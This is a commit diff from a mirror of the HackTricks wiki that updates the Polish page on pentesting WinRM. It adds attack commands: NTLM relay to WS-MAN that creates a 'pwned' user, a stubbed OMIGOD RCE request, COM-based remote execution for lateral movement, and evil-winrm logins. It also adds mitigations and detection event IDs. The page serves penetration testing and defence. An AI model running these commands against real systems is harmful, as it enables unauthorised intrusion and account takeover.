mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
4bb0d7d654
commit
816df08a08
@ -15,12 +15,12 @@ Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co po
|
||||
|
||||
### **Inicjowanie sesji WinRM**
|
||||
|
||||
Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
|
||||
Aby skonfigurować PowerShell dla WinRM, używa się cmdletu Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:
|
||||
```bash
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego konsekwencje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego.
|
||||
To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego.
|
||||
|
||||
Ponadto, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, co pokazano poniżej:
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność
|
||||
|
||||
### Sprawdź, czy skonfigurowano
|
||||
|
||||
Aby zweryfikować konfigurację swojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
|
||||
Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:
|
||||
|
||||
- Dla celu, który **jest** prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego:
|
||||
```bash
|
||||
@ -40,7 +40,7 @@ Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza,
|
||||
|
||||
.png>)
|
||||
|
||||
- Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem tak szczegółowych informacji, co podkreśla brak odpowiedniej konfiguracji WinRM.
|
||||
- Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem szczegółowych informacji, podkreślając brak odpowiedniej konfiguracji WinRM.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -146,7 +146,7 @@ Przeczytaj **dokumentację** na jej githubie: [https://github.com/Hackplayers/ev
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Aby użyć evil-winrm do połączenia z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną.
|
||||
Aby użyć evil-winrm do połączenia się z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną.
|
||||
|
||||
### Przekaż hasz za pomocą evil-winrm
|
||||
```ruby
|
||||
@ -220,7 +220,73 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Ostatnie luki i techniki ofensywne (2021-2025)
|
||||
|
||||
### Przekazywanie NTLM bezpośrednio do WinRM (WS-MAN)
|
||||
Od Impacket 0.11 (maj 2023) `ntlmrelayx.py` może przekazywać przechwycone poświadczenia NTLM bezpośrednio do nasłuchującego **WS-MAN**/WinRM. Gdy host nadal nasłuchuje na **niezaszyfrowanym HTTP (5985)**, atakujący może połączyć *mitm6* (lub *Responder*), aby wymusić uwierzytelnienie i uzyskać wykonanie kodu na poziomie SYSTEM:
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
Mitigacje
|
||||
* Wyłącz nasłuchiwacze HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* Wymuś HTTPS i włącz Rozszerzoną Ochronę dla Uwierzytelniania (EPA) w nowszych wersjach systemu Windows.
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Agenci Azure Linux używają usługi **Open Management Infrastructure (OMI)**, która udostępnia API WinRM/WS-MAN na portach **5985/5986**. Błąd logiczny umożliwił **nieautoryzowane RCE jako root**:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
Zaktualizuj lub usuń OMI (wersja ≥ 1.6.8-1) i zablokuj te porty z Internetu.
|
||||
|
||||
### Nadużycie WSMan.Automation COM do ruchu lateralnego
|
||||
WinRM może być używany bez PowerShella za pomocą obiektu COM `WSMan.Automation` – przydatne w systemach w trybie ograniczonego języka. Narzędzia takie jak *SharpWSManWinRM* opakowują tę technikę:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
Łańcuch wykonania (`svchost → wmiprvse → cmd.exe`) jest identyczny z klasycznym PS-Remoting.
|
||||
|
||||
---
|
||||
|
||||
## Aktualizacje narzędzi
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – teraz obsługuje **Kerberos** (`-k` / `--spn`) oraz **uwierzytelnianie oparte na certyfikatach** (`--cert-pem`/`--key-pem`), logowanie sesji (`-L`) oraz możliwość wyłączenia uzupełniania zdalnych ścieżek (`-N`).
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** oferuje WinRM i PS-Remoting z Linuxa, w tym CredSSP i Kerberos:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **Wykrywanie** – monitoruj dziennik **Microsoft-Windows-WinRM/Operational**:
|
||||
* Wydarzenie 91 / 163 – utworzono powłokę
|
||||
* Wydarzenie 182 – niepowodzenie uwierzytelnienia
|
||||
* W dzienniku zabezpieczeń wydarzenie 4262 rejestruje adres IP źródłowy (dodane w lipcu 2022 r. CUs).
|
||||
Zbieraj te dane centralnie i ostrzegaj o anonimowych lub zewnętrznych adresach IP.
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user